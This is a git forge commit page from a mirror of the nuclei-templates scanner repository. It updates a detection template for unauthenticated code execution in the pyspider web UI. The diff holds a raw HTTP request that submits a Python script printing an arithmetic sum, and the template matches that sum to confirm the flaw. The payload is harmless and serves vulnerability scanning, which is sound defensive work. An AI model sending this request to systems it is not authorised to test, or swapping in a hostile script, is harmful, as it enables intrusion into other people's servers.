daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Update pyspider-unauthorized-access.yaml

patch-1
Prince Chaddha 2022-04-12 01:34:02 +05:30 committed by GitHub
parent a874ccac44
commit 39336f2ca5
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 4 additions and 3 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

7
vulnerabilities/other/pyspider-unauthorized-access.yaml
View File

@ -5,7 +5,7 @@ info:
author: ritikchaddha
severity: high
reference: https://github.com/ianxtianxt/Pyspider-webui-poc
tags: pyspider,unauthorized,access
tags: pyspider,unauth
requests:
- raw:
@ -14,15 +14,16 @@ requests:
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
webdav_mode=false&script=from+pyspider.libs.base_handler+import+*%0Aclass+Handler(BaseHandler)%3A%0A++++def+on_start(self)%3A%0A++++++++print(str(123654789%20%2B%20123654789))&task=%7B%0A++%22process%22%3A+%7B%0A++++%22callback%22%3A+%22on_start%22%0A++%7D%2C%0A++%22project%22%3A+%22pyspidervulntest%22%2C%0A++%22taskid%22%3A+%22data%3A%2Con_start%22%2C%0A++%22url%22%3A+%22data%3A%2Con_start%22%0A%7D
webdav_mode=false&script=from+pyspider.libs.base_handler+import+*%0Aclass+Handler(BaseHandler)%3A%0A++++def+on_start(self)%3A%0A++++++++print(str(452345672+%2B+567890765))&task=%7B%0A++%22process%22%3A+%7B%0A++++%22callback%22%3A+%22on_start%22%0A++%7D%2C%0A++%22project%22%3A+%22pyspidervulntest%22%2C%0A++%22taskid%22%3A+%22data%3A%2Con_start%22%2C%0A++%22url%22%3A+%22data%3A%2Con_start%22%0A%7D
redirects: true
max-redirects: 2
matchers-condition: and
matchers:
- type: word
part: body
words:
- "247309578"
- "1020236437"
- type: status
status: